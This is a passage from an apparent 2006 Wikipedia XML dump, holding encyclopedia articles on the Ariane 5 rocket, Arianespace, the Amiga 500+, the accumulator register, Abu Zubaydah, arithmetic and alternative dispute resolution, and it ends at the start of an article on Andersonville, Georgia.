      <text xml:space="preserve">[[Image:Ariane 5 Rosetta launch large.jpg|right|250px|thumb||'''Ariane 5''' lifts off with the [[Rosetta space probe|Rosetta probe]] on 2 March 2004.]]
'''Ariane 5''' is an [[expendable launch system]] designed to deliver satellites into geostationary transfer orbit and to send payloads to low earth orbit.

It was manufactured under the authority of the [[European Space Agency]] (ESA) with [[EADS SPACE Transportation]] as prime contractor, leading a consortium of sub-contractors. The rocket is operated and marketed by [[Arianespace]] as part of the [[Ariane]] programme. [[EADS SPACE Transportation]] builds the rockets in [[Europe]] and [[Arianespace]] launches them from a space port at [[Kourou]] in [[French Guiana]].

It succeeded [[Ariane 4]], but does not derive from it directly. Its development took 10 years and cost [[Euro|€]]7 billion. The ESA originally designed Ariane 5 to launch the manned mini shuttle [[Hermes (shuttle)|Hermes]], and thus intended it to be &quot;human rated&quot; from the beginning. After the ESA cancelled Hermes, the rocket became a purely commercial launcher.

Two satellites can be mounted using a Sylda carrier.  Three main satellites are possible depending on size.  Up to eight secondary payloads, usually small experiment packages or minisatellites, can be carried with an ASAP (Ariane Structure for Auxiliary Payloads) platform.

==Components==
Ariane 5’s [[Cryogenics|cryogenic]] H158 main stage (H173 for Ariane 5 ECA) is called the EPC (Étage Principal Cryotechnique/Cryogenic First Stage). It consists of a large tank 30.5 [[metre]]s high with two compartments, one for 130 [[tonne]]s of [[liquid oxygen]] and one for 25 [[tonne]]s of [[liquid hydrogen]], and a Vulcain engine at the base with thrust of 115 [[tonne-force|tonnes-force]] (1.13 [[meganewton]]s). This part of the first stage weighs about 15 tonnes when empty.

Attached to the sides are two solid propellant boosters, P238 (P241 for Ariane 5 ECA), each weighing about 277 tonnes full. Each delivers a thrust of about 630 tonnes-force (6.2 MN). These boosters can be recovered with parachutes, like the [[Space Shuttle Solid Rocket Booster]]s. They may have been retrieved for examination on early missions, but are not reused.

The second stage is on top of the main stage and below the payload.  The Ariane 5G uses the EPS (Étage à Propergols Stockables/Storable Propellant Stage), which is fueled by [[monomethylhydrazine]] (MMH) and [[nitrogen tetroxide]], where the Ariane 5 ECA uses the ESC (Étage Supérieur Cryotechnique/Cryogenic Upper Stage), which is fueled by liquid hydrogen and liquid oxygen. The payload and all upper stages are covered at launch by the fairing, which splits off once sufficient altitude has been reached.

==Variants==
[[Image:1esaatv.jpg|thumb|right|250px|The ATV will be delivered into orbit by an Ariane 5 rocket]]
The original version is dubbed Ariane '''5G''' (Generic) with a launch mass of 737 tonnes. Its payload capability to [[Geostationary transfer orbit]] (GTO) was initially specified as 5970 [[Kilogramme|kg]], but was increased after the qualification flights to 6200kg.

The Ariane '''5G+''' had an improved second stage, with a GTO capacity of 6950kg for a single payload. It flew three times in 2004.

It was replaced in 2005 by the Ariane '''5GS''', with 5 ECA solid boosters.

The Ariane 5 '''ECA''' has a GTO launch capacity of 10,000 kg for dual payloads or 10,500 kg for a single payload. This variant uses a new Vulcain 2 first-stage engine, and an ESC-A second stage, powered by an HM-7B engine, weighing 6,500 kg and carrying 14,000 kg of cryogenic [[Spacecraft propulsion|propellant]].  The second stage was previously used as the third stage of Ariane 4; in ECA use, the tanks are modified to shorten stage length.  The revised Vulcain has a longer, more efficient nozzle with more efficient flow cycle and denser propellant ratio.  The new ratio demanded length modifications to the first-stage tanks.  Also, the solid booster casings have been lightened with new welds, and packed with more propellant. The ESC-A cryogenic second stage does not improve the performance to [[Low Earth orbit]] compared to Ariane 5G, and for this reason the Ariane 5 ECA will not be used to launch the [[Automated Transfer Vehicle]] (ATV).

'''Comparable rockets:'''
[[Delta IV rocket|Delta IV]] -
[[Atlas V rocket|Atlas V]] -
[[Long March 5 rocket family|Chang Zheng 5]] -
[[Angara rocket|Angara]]

==Future developments==
Ariane 5 '''ES ATV''' has been designed for launching the [[Automated Transfer Vehicle]]. It consists of the improved Vulcain 2-powered first stage and the upper stage from the Ariane 5G, and can put up to 21,000 kg in [[Low Earth orbit|LEO]].

==Cancelled developments==
Ariane 5 '''ECB''' was planned to have a ESC-B upper stage using a new &quot;Vinci&quot; [[expander cycle (rocket)|expander cycle]] type engine. The GTO capacity was to increase to 12,000 kg, but ECB was put on hold due to budget cuts.  It was cancelled outright in May 2005 due to lack of demand in that payload range. The Vinci engine which was to power ECB's upper stage is still being developed, albeit at a lower pace. The cancellation of ECB creates a major commercial weakness for Ariane 5 : lacking a reignitable cryogenic engine, contrary to all its competitors, it is unable to deliver payloads directly to [[Geostationary orbit|GEO]].

==Launch history==
[[Image:000nasa.ariane5.gif|thumb|right|200px|Comparison of Ariane 5 to [[Proton rocket|Proton]] and [[Soyuz launch vehicle|Soyuz]] rockets]]

Ariane 5's first test flight ([[Ariane 5 Flight 501]]) on [[4 June]] [[1996]] failed, with the rocket self-destructing 37 seconds after launch because of a malfunction in the control software, which was arguably one of the most expensive [[computer bug]]s in history. A data conversion from 64-[[bit]] [[floating point]] to 16-bit [[signed]] [[integer]] value had caused a processor trap (operand error). The floating point number had a value too large to be represented by a 16-bit signed integer. Efficiency considerations had led to the disabling of the software handler (in [[Ada programming language|Ada]] code) for this trap, although other conversions of comparable variables in the code remained protected.

The second test flight, L502 on [[30 October]] [[1997]] was a partial failure.  The Vulcain nozzle caused a roll problem, leading to premature shutdown of the core stage. The upper stage operated successfully but could not reach the intended orbit.

A subsequent test flight on [[21 October]] [[1998]] proved successful and the first commercial launch occurred on [[10 December]] [[1999]] with the launch of the [[XMM-Newton]] X-ray observatory satellite.

Another partial failure occurred on [[12 July]] [[2001]], with the delivery of two satellites into an incorrect orbit, at only half the height of the intended GTO. The ESA Artemis [[telecommunications satellite]] was able to reach its intended orbit on [[31 January]] [[2003]], through the use of its experimental [[ion propulsion]] system.

The next launch did not occur until [[1 March]] [[2002]], when the [[Envisat]] [[environmental satellite]] successfully reached an orbit 800 km above the Earth in the 11th launch. At 8111 kg, it was the heaviest single payload to date.

The first launch of the ECA variant on [[11 December]] 2002 ended in failure when a main booster problem caused the rocket to veer off-course, forcing its self-destruction three minutes into the flight. Its payload of two communications satellites (Stentor and [[Hot Bird]] 7), valued at about EUR 630 million, was lost in the ocean. The fault was determined to have been caused by a leak in coolant pipes allowing the nozzle to overheat. After this failure, Arianespace SA delayed the expected January 2003 launch for the [[Rosetta space probe|Rosetta]] mission to [[26 February]] [[2004]], but this was again delayed to early March 2004 due to a minor fault in the foam that protects the cryogenic tanks on the Ariane 5. 

On [[27 September]] [[2003]] the last Ariane 5 G boosted three satellites (including the first European lunar probe, [[SMART-1]]), in Flight 162. On [[18 July]] [[2004]] an Ariane 5 G+ boosted what was at the time the heaviest telecommunication satellite ever, [[Anik]] F2, weighing almost 6,000 kg.

The first successful launch of the Ariane 5 ECA took place on [[12 February]] [[2005]]. The payload consisted of the XTAR-EUR military communications satellite, a 'SLOSHSAT' small scientific satellite and a MaqSat B2 payload simulator. The launch had been originally scheduled for October 2004, but additional testing and the military requiring a launch at that time (of an [[Helios 2A]] observation satellite) delayed the attempt.

On [[11 August]] [[2005]], the first Ariane 5GS (featuring the Ariane 5 ECA's improved solid motors) boosted Thaïcom-4/iPStar-1, the heaviest telecommunications satellite to date at 6505 kg [http://www.skyrocket.de/space/index_frame.htm?http://www.skyrocket.de/space/doc_sdat/ipstar-1.htm], into orbit.

On [[13 October]] [[2005]], the second Ariane 5GS boosted a dual payload to orbit. This consisted of Syracuse 3A, a French military satellite, and Galaxy 15 for [[PanAmSat]].

On [[16 November]] [[2005]], the third Ariane 5 ECA launch (the second successful ECA launch) took place. It carried a dual payload consisting of Spaceway-F2 for [[DirecTV]] and Telkom-2 for PT Telekomunikasi of Indonesia. This was the rocket's heaviest dual payload to date, at more than 8000 kg.

On [[21 December]] [[2005]], the third Ariane 5GS boosted another dual payload to orbit. This payload consisted of INSAT 4A for the  Indian Space Research Organization (ISRO), and MSG-2 for the European organization Eumetsat.

==Ariane 5 flights==
{| border=&quot;2&quot; cellpadding=&quot;4&quot; cellspacing=&quot;0&quot; style=&quot;margin: 1em 1em 1em 0; background: #f9f9f9; border: 1px #aaa solid; border-collapse: collapse; font-size: 95%;&quot;
|----- bgcolor=&quot;#FFDEAD&quot;
!Date ([[Coordinated Universal Time|UTC]])!! Flight !! Model !! Serial number !! Payload !! Result 
|- 
|04.06.1996 12:34:06 || V-89 || Ariane-5G || [[Ariane_5_Flight_501|501]] || [[Cluster mission|Cluster]] || Failure 
|- 
|30.10.1997 13:43:00 || V-101 || Ariane-5G || 502 || MaqSat H &amp; TEAMSAT || Partial failure 
|- 
| || || || || MaqSat B || 
|-
| || || || || YES || 
|-
|21.10.1998 16:37:21 || V-112 || Ariane-5G || 503 || MaqSat 3 || Success
|-
| || || || || [[ Atmospheric Reentry Demonstrator|ARD]] || 
|- 
|10.12.1999 14:32:07 || V-119 || Ariane-5G || 504 || [[XMM-Newton]] || Success
|- 
|21.03.2000 23:28:19 || V-128 || Ariane-5G || 505 || [[Indian National Satellite System|INSAT]] 3B || Success
|- 
| || || || || AsiaStar || 
|- 
|14.09.2000 22:54:07 || V-130 || Ariane-5G || 506 || Astra 2B || Success
|- 
| || || || || GE 7 || 
|- 
|16.11.2000 01:07:07 || V-135 || Ariane-5G || 507 || PAS 1R || Success
|- 
| || || || || [[AO-40|Amsat P3D]] || 
|- 
| || || || || STRV 1C || 
|- 
| || || || || STRV 1D ||
|- 
|20.12.2000 00:26:00 || V-138 || Ariane-5G || 508 || Astra 2D || Success
|- 
| || || || || GE 8 (Aurora 3) || 
|- 
| || || || || LDREX ||
|- 
|08.03.2001 22:51:00 || V-140 || Ariane-5G || 509 || Eurobird 1 || Success
|- 
| || || || || BSat 2a ||
|- 
|12.07.2001 22:58:00 || V-142 || Ariane-5G || 510 || Artemis || Partial failure
|- 
| || || || || BSat 2b || 
|- 
|01.03.2002 01:07:59 || V-145 || Ariane-5G || 511 || Envisat || Success
|- 
|05.07.2002 23:22:00 || V-153 || Ariane-5G || 512 || Stellat 5 || Success
|- 
| || || || || N-Star c || 
|- 	
|28.08.2002 22:45:00 || V-155 || Ariane-5G || 513 || Atlantic Bird 1 || Success
|- 
| || || || || MSG 1 || 
|- 
| || || || || MFD || 
|-
|11.12.2002 22:22:00 || V-157 || Ariane-5ECA || 517 || Hot Bird 7 || Failure
|- 
| || || || || Stentor || 
|- 
| || || || || MFD A || 
|-
| || || || || MFD B || 
|-
|09.04.2003 22:52:19 || V-160 || Ariane-5G || 514 || Insat 3A || Success
|- 
| || || || || Galaxy 12 || 
|-
|11.06.2003 22:38:15 || V-161 || Ariane-5G || 515 || Optus C1 || Success
|- 
| || || || || BSat 2c || 
|-
|27.09.2003 23:14:46 || V-162 || Ariane-5G || 516 || Insat 3E || Success
|- 
| || || || || eBird 1 || 
|-
| || || || || [[SMART-1]] || 
|-
|02.03.2004 07:17:44 || V-158 || Ariane-5G+ || 518 || [[Rosetta space probe|Rosetta]] || Success
|- 
|18.07.2004 00:44:00 || V-163 || Ariane-5G+ || 519 || [[Anik (satellite)|Anik F2]] || Success
|- 
|18.12.2004 16:26:00 || V-165 || Ariane-5G+ || 520 || Helios 2A || Success
|- 
| || || || || Essaim 1, 2, 3 and 4 || 
|-
| || || || || PARASOL || 
|-
| || || || || Nanosat 01 || 
|-
|12.02.2005 21:03:00 || V-164 || Ariane-5ECA || 521 || XTAR-EUR || Success
|-
| || || || || Maqsat B2 ||
|-
|11.08.2005 08:20:00 || V-166 || Ariane-5GS || 523 || Thaïcom 4-iPStar 1 || Success
|-
|13.10.2005 22:32:00 || V-168 || Ariane-5GS || 524 || Syracuse 3A || Success
|-
| || || || || Galaxy 15 ||
|-
|16.11.2005 23:46:00 || V-167 || Ariane-5ECA || 522 || Spaceway F2 || Success
|-
| || || || || Telkom 2 ||
|-
|21.12.2005 22:33:00 || V-169 || Ariane-5GS || 525 || [[Indian National Satellite System|Insat]] 4A || Success
|-
| || || || || [[EUMETSAT#Meteosat Second Generation|MSG]] 2 ||
|-
| || || || || MFD C||
|}

==Upcoming flight==	 
The next flight, V-170, will carry the payloads Hotbird 7A / SpainSat 1 into orbit. An Ariane 5 ECA will be used to launch these payloads.

The rocket is set for launch on March 9, 2006.

==External links and references==
*[http://www.esa.int/export/SPECIALS/Launchers_Access_to_Space/ASEVLU0TCNC_0.html ESA description of the Ariane 5]
* Ariane 5 technical notes, available as PDF from http://www.arianespace.com
*[http://news.bbc.co.uk/1/hi/sci/tech/4432446.stm BBC News report on the (delayed) successful launch of the Ariane 5 ECA flight on November 16, 2005.]
*[http://www.esa.int/SPECIALS/Launchers_Home/SEMJ5L638FE_0.html Vinci Engine development]

[[Category:Space launch vehicles]]
[[Category:European Space Agency]]

[[ca:Ariane 5]]
[[cs:Ariane 5]]
[[de:Ariane 5]]
[[es:Ariane 5]]
[[fr:Ariane 5]]
[[id:Ariane 5]]
[[it:Ariane 5]]
[[hu:Ariane-5]]
[[nl:Ariane V]]
[[pt:Ariane 5]]
[[fi:Ariane 5]]
[[sv:Ariane 5]]</text>
    </revision>
  </page>
  <page>
    <title>Arianespace</title>
    <id>3112</id>
    <revision>
      <id>40360205</id>
      <timestamp>2006-02-20T01:24:46Z</timestamp>
      <contributor>
        <username>Rich Farmbrough</username>
        <id>82835</id>
      </contributor>
      <minor />
      <comment>External links per MoS.</comment>
      <text xml:space="preserve">[[Image:Arianespace Logo.jpg|right|200px|arianespace logo]]

Founded in [[1980]], '''Arianespace SA''' undertakes the production, operation and marketing of the [[Ariane 4]] and [[Ariane 5]] rocket launchers as part of the [[Ariane (rocket)|Ariane]] programme. 
[[As of 2002]] Arianespace held more than 50 percent of the world market for boosting satellites to [[geostationary transfer orbit]] (GTO), although the consortium has had a deteriorating market share due to poor initial performance by the Ariane 5 launch vehicle. More than 130 commercial launches have occurred since [[May 22]], [[1984]].  

Arianespace utilises a launch site at [[Kourou]] in [[French Guiana]].  

''Shareholders include:''
*[[EADS]] (28%)

See also : [[Europa rocket]]

==External links==
* [http://www.arianespace.com/site/index2.html Arianespace website]


[[Category:Aerospace companies]]

[[ca:Arianespace]]
[[de:Arianespace]]
[[fr:Arianespace]]
[[it:Arianespace SA]]
[[hu:Arianespace]]
[[ja:アリアンスペース]]
[[pt:Arianespace]]
[[sv:Arianespace]]</text>
    </revision>
  </page>
  <page>
    <title>Amiga 500+</title>
    <id>3114</id>
    <revision>
      <id>39067945</id>
      <timestamp>2006-02-10T14:08:42Z</timestamp>
      <contributor>
        <username>Garvanit</username>
        <id>913652</id>
      </contributor>
      <text xml:space="preserve">The [[Commodore International|Commodore]] [[Amiga]] '''500 Plus''', ('''A500+''') is a enhanced version of the original [[A500|Amiga 500]].
 
The A500+ featured:
* [[Motorola 68000]] [[central processing unit|CPU]] running at 7.09 MHz (PAL) / 7.16 MHz (NTSC), like its predecessor.
* 1MB of [[Chip RAM]] (Very early versions comes with 512KB)
* [[Kickstart]] 2.04 (v37.175)
* [[AmigaOS|Workbench]] 37.67 (release 2.04)
* Built in battery backed RTC (Real Time Clock) (lacking in the A500)
* Full [[Enhanced Chip Set|ECS]] Chipset including new version of the [[Agnus]] chip and [[Original_Amiga_chipset#Denise|Denise]] chip. 

The A500+ was officially introduced in [[1992]], however the plus was released in near secrecy, masquerading as A500 units in late [[1991]]. It has been speculated that Commodore had already sold out the remaining stocks of A500s, before the run up to the profitable Christmas sales period. In order to make enough A500's before Christmas, Commodore used stocks of the new 8A revision motherboards destined for the A500+. Many users were unaware that they were purchasing anything other than a standard A500. Although the A500+ was an improvement to the A500, it was minor, making it the shortest lived Amiga model. It was discontinued and replaced by the [[A600|Amiga 600]] in summer [[1992]].

Commodore created the A500+ for a couple of reasons. The first was cost reduction; minor changes were made to the motherboard to make it cheaper to produce. It was also so that Commodore could introduce the new version of the [[AmigaOS|Amiga Operating system]], 2.04.

Due to the new [[Kickstart]], quite a few popular games failed to work on the A500+, and a lot of people took them back to dealers demanding an original [[Kickstart]] 1.3 [[A500]]. This problem was solved by third-parties who produced Kickstart [[Read-only memory|ROM]] [[switching boards]], that could allow the A500+ to be downgraded to Kickstart 1.2 or 1.3. It also encouraged game developers into better programming habits, something that was essential as when the A500+ was launched, Commodore already had plans for the introduction of the next-generation [[A1200]] computer.

{{CBM_computers}}

[[Category:Commodore Amiga]]

[[es:Commodore Amiga A-500 Plus]]
[[fr:Amiga 500+]]</text>
    </revision>
  </page>
  <page>
    <title>Accumulator (computing)</title>
    <id>3116</id>
    <revision>
      <id>37346570</id>
      <timestamp>2006-01-30T11:28:05Z</timestamp>
      <contributor>
        <ip>194.81.161.150</ip>
      </contributor>
      <text xml:space="preserve">:''The article is about a computer processor register.  For other uses of'' accumulator'', please see [[accumulator]].''

In a [[computer]] [[central processing unit|CPU]], an '''accumulator''' is a [[processor register|register]] in which intermediate [[arithmetic logic unit|arithmetic and logic]] results are stored. Without a register like an accumulator, it would be necessary to write the result of each calculation (addition, multiplication, shift, etc.) to [[primary storage|main memory]], perhaps only to be read right back again for use in the next operation. Access to main memory is slower than access to a register like the accumulator because the technology used for the large main memory is slower (but cheaper) than that used for a register.

The canonical example for accumulator use is summing a list of numbers. The accumulator is initially set to zero, then each number in turn is added to the value in the accumulator.  Only when all numbers have been added is the result held in the accumulator written to main memory or to another, non-accumulator, CPU register.

Modern CPUs usually have many registers, all or many of which may be capable of being used for calculations.  The characteristic which distinguishes one register as being the accumulator of a [[computer architecture]] is that the accumulator (if the architecture were to have one) would be used as an ''implicit'' [[operand]] for arithmetic [[instruction (computer science)|instruction]]s.  For instance, a computer might have an instruction like:

      ADD ''[[memory address|memaddress]]''

This instruction would add the value read from the memory location at ''memaddress'' to the value from the accumulator, placing the result in the accumulator.  The accumulator is not identified in the instruction by a register number; it is implicit in the instruction and no other register can be specified in the instruction.

Some architectures use a particular register as an accumulator in some instructions, but in other instructions use register numbers for explicit operand specification.  The common [[x86]] microprocessor architecture is like this: the AX register is an accumulator (implicit operand) in some arithmetic instructions, but in other arithmetic instructions AX is one of several registers which can be specified.

{{FOLDOC}}

[[Category:Computer hardware]]

[[da:Akkumulator (processor)]]
[[de:Akkumulator (Computer)]]
[[fr:Accumulateur (informatique)]]
[[pl:Akumulator (informatyka)]]
[[zh:累加器]]</text>
    </revision>
  </page>
  <page>
    <title>Abu Zubaydah</title>
    <id>3117</id>
    <revision>
      <id>37046319</id>
      <timestamp>2006-01-28T05:12:58Z</timestamp>
      <contributor>
        <username>Sreed1234</username>
        <id>467341</id>
      </contributor>
      <minor />
      <comment>living people category</comment>
      <text xml:space="preserve">[[Image:Abuzubaydah.jpg|right|frame|Abu Zubaydah is the highest-ranking [[al-Qaida]] leader in U.S. custody]]
'''Abu Zubaydah''' ([[12 March]] [[1971]] - present) ([[Arabic language|Arabic]]: &amp;#1575;&amp;#1576;&amp;#1608; 
&amp;#1586;&amp;#1576;&amp;#1610;&amp;#1583;&amp;#1577;) 
was a high-ranking member of [[al-Qaida]] and close associate of [[Osama bin Laden]]. He is currently in U.S. custody in an unknown location. Zubaydah's name is often [[transliteration|transliterated]] as '''Abu Zubaidah''', '''Abu Zubeida''', or '''Abu Zoubeida'''. Born '''Zein al-Abideen Mohamed Hussein''' (Arabic: &amp;#1586;&amp;#1610;&amp;#1606; &amp;#1575;&amp;#1604;&amp;#1593;&amp;#1575;&amp;#1576;&amp;#1583;&amp;#1610;&amp;#1606; &amp;#1605;&amp;#1581;&amp;#1605;&amp;#1583; &amp;#1581;&amp;#1587;&amp;#1610;&amp;#1606;), he is also known by over thirty-five [[alias]]es.

Born in [[Saudi Arabia]], Zubaydah has been close to al-Qaida all his life, helping to operate a popular terrorist training camp near the border between [[Afghanistan]] and [[Pakistan]] in the early 1990s.  He became an associate of [[Ibn al-Shaykh al-Libi]], and served as a chief recruiter for al-Qaida.

In the late 1990s, Zubaydah played a lead role in one of the [[2000 millennium attack plots]], and a possible tangential role in a second. There were plans to bomb a fully booked [[Radisson]] hotel in [[Amman]], [[Jordan]], and three other sites. This targeted tourists from the [[United States]] and [[Israel]]. But on [[November 30]], [[1999]], Jordanian intelligence intercepted a call between Zubaydah and [[Khadr Abu Hoshar]], a [[Palestinian]] militant, and determined that an attack was imminent. Jordanian police arrested 22 conspirators and foiled the attack. Zubaydah was sentenced to death [[in absentia]] by a Jordanian court for his role. There is also evidence that Zubaydah approved the Los Angeles airport bomb plot in 2000. This plot was also foiled.

In March of [[2001]], [[United States]] [[Condoleezza Rice]] was informed by the [[Central Intelligence Agency|CIA]] that Zubaydah was planning a major operation in the near future. This was one of the first of many reports in the Spring of 2001 that increased the threat level and indicated that an attack was coming. Many of these reports mentioned Zubaydah by name. The attack finally came in the form of the [[September 11, 2001 attacks]]. 

The U.S. government believes he became al-Qaeda's top military strategist following the death of [[Muhammad Atef]] in November 2001. A later plot to [[Paris embassy terrorist attack plot|bomb the U.S. embassy in Paris]] failed, as did an alleged plot to attack a target in [[Federal Republic of Yugoslavia]]. Zubaydah was probably a conspirator in both of those plots.

[[Image:CommissionReportOnTravel.jpg|thumb|left|200px|References cited by the [[9/11 Commission]], showing that Zubaydah was often the bulk of references]]U.S. intelligence located Zubaydah in 2002 by tracing his phone calls. He was captured [[March 28]], [[2002]], in a two story apartment in [[Faisalabad]], Pakistan. He was shot three times in a firefight, including a wound to the groin and a wound to the thigh, but survived. While in U.S. custody, he has given a great deal of information about the 9/11 attack plot, detail that led to the indictments of over one hundred people, including [[Mohamed Harkat]].  Critics however have claimed that several of the interrogations may have bordered on torture to pressure Zubaydah into fingering other suspects. 

Zubaida is held within the [[CIA prison system]], where many have claimed that he is possibly subjected to torture.  His statements under interrogation have provided a very large amount of the information used around the world as 'definitive', and he is the sole person to make many of the claims.

==External links==
* [http://www.gpoaccess.gov/911/index.html The Final 9/11 Commission Report]
* http://news.bbc.co.uk/2/hi/south_asia/1907462.stm
* http://observer.guardian.co.uk/waronterrorism/story/0,1373,680320,00.html


[[Category:1973 births|Zubaydah, Abu]]
[[Category:Al-Qaeda members|Zubaydah, Abu]]
[[Category:Saudi Arabian people|Zubaydah, Abu]]
[[Category:Living people|Zubaydah, Abu]]</text>
    </revision>
  </page>
  <page>
    <title>Arithmetic</title>
    <id>3118</id>
    <revision>
      <id>40500069</id>
      <timestamp>2006-02-21T00:30:58Z</timestamp>
      <contributor>
        <username>ESkog</username>
        <id>88149</id>
      </contributor>
      <minor />
      <comment>rv to ESkog</comment>
      <text xml:space="preserve">'''Arithmetic''' or '''arithmetics''' (from the [[Greek language|Greek]] word ''ἀριθμός'' = number) in common usage is a branch of (or the forerunner of) [[mathematics]] which records elementary properties of certain ''operations'' on [[numeral]]s, though professional [[mathematician]]s often treat ''arithmetic'' as a synonym for [[number theory]].  It is the oldest and simplest branch of mathematics, used widely by almost everyone from simple daily counting to more advanced [[science]] and [[business]].

== Arithmetic operations ==
The traditional arithmetic operations are [[addition]], [[subtraction]], [[multiplication]] and [[division (mathematics)|division]], although more advanced operations (such as manipulations of [[percentage]]s, [[square root]], [[exponentiation]], and [[logarithm|logarithmic functions]]) are also sometimes included in this subject.  Arithmetic is performed according to an [[order of operations]].

== Number theory ==
The term ''arithmetic'' is also used to refer to [[number theory]]. This includes the properties of integers related to [[prime number|primality]], [[divisibility]], and the [[Diophantine equations|solution of equations by integers]], as well as modern research which is an outgrowth of this study. It is in this context that one runs across the [[fundamental theorem of arithmetic]] and [[arithmetic function]]s. ''A Course in Arithmetic'' by [[Serre]] reflects this usage, as do such phrases as ''first order arithmetic'' or ''arithmetical algebraic geometry''.

==Arithmetic in education==
[[Primary education]] in mathematics often places a strong focus on arithmetic, as further studies in mathematics as well as [[science]] benefit from an understanding of arithmetic.  There are exceptions, such as [[New Math]], which taught arithemtic indirectly using [[set theory]].

The arithmetic of [[natural number]]s, [[integer]]s, [[rational number]]s (in the form of [[vulgar fraction]]s), and [[real number]]s (using the [[decimal]] place-value system known as [[algorism]]) is typically studied by schoolchildren, who learn manual [[algorithm]]s for arithmetic.  However, in adult life, many people prefer to use tools such as [[calculator]]s, [[computer]]s, or the [[abacus]] to perform the more complex arithmetical computations.

== See also ==
*[[addition in N]]
*[[additive inverse]]
*[[associativity]]
*[[commutativity]]
*[[distributivity]]
*[[elementary arithmetic]]
*[[finite field arithmetic]]
*[[number line]]
*[[list of publications in mathematics#Arithmetic| important publications in arithmetic]]
*[[arithmetic coding]]
*[[arithmetic mean]]
*[[arithmetic progression]]

&lt;!-- *[[algorism]]  (included above) --&gt;
&lt;!-- *[[order of operations]]  (ditto) --&gt;

[[Category:Arithmetic]]

[[ar:حساب]]
[[bn:পাটিগণিত]]
[[br:Aritmetik]]
[[ca:Aritmètica]]
[[cs:Aritmetika]]
[[da:Aritmetik]]
[[de:Arithmetik]]
[[eo:Aritmetiko]]
[[es:Aritmética]]
[[fa:حساب]]
[[fi:Aritmetiikka]]
[[fr:Arithmétique]]
[[gl:Aritmética]]
[[he:אריתמטיקה]]
[[hr:Aritmetika]]
[[ia:Arithmetica]]
[[id:Aritmatika]]
[[io:Aritmetiko]]
[[it:Aritmetica]]
[[ja:算数]]
[[la:Arithmetica]]
[[lt:Aritmetika]]
[[mk:Аритметика]]
[[nl:Rekenen]]
[[no:Aritmetikk]]
[[pl:Arytmetyka]]
[[pt:Aritmética]]
[[ru:Арифметика]]
[[simple:Arithmetic]]
[[sk:Aritmetika]]
[[sr:Аритметика]]
[[sv:Aritmetik]]
[[sw:Hesabu]]
[[ta:எண்கணிதம்]]
[[th:เลขคณิต]]
[[tl:Aritmetika]]
[[tr:Aritmetik]]
[[uk:Арифметика]]
[[zh:算术]]</text>
    </revision>
  </page>
  <page>
    <title>Alternative dispute resolution</title>
    <id>3119</id>
    <revision>
      <id>40594319</id>
      <timestamp>2006-02-21T18:27:02Z</timestamp>
      <contributor>
        <ip>70.95.194.89</ip>
      </contributor>
      <text xml:space="preserve">{{Expert}}

'''Alternative dispute resolution''' or '''ADR''' is a name for several [[dispute resolution]] processes and techniques which, while believed by some to be outside the traditional mainstream of state [[jurisprudence]], have gained acceptance among both the general public and the [[legal]] [[profession]].  In this terminology the processes were initially termed &quot;alternative&quot; by [[20th century]] legal typologists because they were seen as extra-legal supplements to state-sponsored dispute resolution.  With the continuing increase in caseload placing great strain on traditional courts, many judges have come to see dispute resolution as an acceptable means of decreasing caseload in traditional courts, while settling disputes in a fair and equitable way. While some would not agree that all alternative methods are always fair and equitable, such methods are much less expensive than a traditional lawsuit.

[[Arbitration]] was actually one of the earliest forms of dispute resolution. It was practiced by the jurisconsults of the [[Roman Empire]], and predates the [[adversarial system]] of [[common law]] by at over a thousand years. Many people have played the role of [[Mediation|mediator]], [[Conciliation|conciliator]] or [[Arbitration#Arbitrators|arbitrator]] in many jurisdictions at many times. The [[Vodun]] [[priest]]s of [[Haiti]] are well known for their dispute resolution role which occasionally resulted in the losing party being forced to become a [[zombie]].  The [[King of France]] refused [[lawyers]] permission to practice in [[New France]], so [[Catholicism|Catholic]] priests and [[civil law notary|civil law notaries]] were used by the local populace as dispute resolution resources.

ADR is generally classified into at least three subtypes: [[negotiation]], [[mediation]], and [[arbitration]]. (Sometimes a fourth type, [[conciliation]], is included as well, but for present purposes it can be regarded as a form of mediation. The salient features of each type are as follows:

*In negotiation, participation is  voluntary and there is no third party who either facilitates the resolution process or imposes a resolution.
*In mediation, participation is voluntary (in that even though a court may mandate the process itself, the parties are not required to reach a resolution), and there is a [[third party]], a mediator, who facilitates the resolution process but does ''not'' impose a resolution on the parties.
*In arbitration, participation is ordinarily voluntary, and there is a third party who ''both'' facilitates the resolution process ''and'' imposes a resolution.

To what is &quot;alternative&quot; dispute resolution an alternative? Usually, to [[litigation]] -- but more generally, it is also an &quot;alternative&quot; both to allowing a dispute to drop and to resorting to [[violence]].  Lawyers have humorous jokes about ADR which use the term as a synonym for any form of violent, extralegal dispute resolution (e.g., my ADR is a two-by-four).  

ADR can increasingly be conducted online or by using technology. This branch of dispute resolution is known as [[Online Dispute Resolution]] or ODR. It should be noted, however, that ODR services can be provided by government entities, and as such may form part of the litigation process. Moreover, they can be provided on a global scale, where no effective domestic remedies are available to disputing parties, as in the case of the [[UDRP]] and [[domain name]] disputes. In this respect, ODR might not satisfy the &quot;alternative&quot; element of ADR.

== External links ==
*  [http://www.arbitrator.com  Arbitrator.com: provides information and links to ADR seminars, classes, conventions, publications, etc. ]

==See also== 
*[[Ombudsman]]

[[Category:Dispute resolution]]

[[he:שיטות אלטרנטיביות ליישוב סכסוכים]]</text>
    </revision>
  </page>
  <page>
    <title>Andersonville, Georgia</title>
    <id>3120</id>
    <revision>
      <id>37348314</id>
      <timestamp>2006-01-30T11:54:07Z</timestamp>
      <contributor>
        <username>ManiacK</username>
        <id>757776</id>
      </contributor>
      <minor />
      <comment>cleanup</comment>
      <text xml:space="preserve">[[Image:GAMap-doton-Andersonville.PNG|right|Location of Andersonville, Georgia]]

'''Andersonville''' is a city located in [[Sumter County, Georgia]].  As of the [[2000]] census, the city had a total population of 331 (174 in [[1910]]).  It is in the southwest part of the state, about 60 miles southwest of [[Macon, Georgia]] on the [[Central of Georgia]] [[railroad]].  During the [[American Civil War]], it was the site of a [[prisoner-of-war camp]] which is now [[Andersonville National Historic Site]].

== Geography ==
Andersonville is located at 32&amp;deg;11'49&quot; North, 84&amp;deg;8'30&quot; West (32.197008, -84.141701){{GR|1}}.

According to the [[United States Census Bureau]], the city has a total area of 3.4 [[square kilometre|km&amp;sup2;]] (1.3 [[square mile|mi&amp;sup2;]]).  3.4 km&amp;sup2; (1.3 mi&amp;sup2;) of it is land and none of the area is covered with water.

== History ==
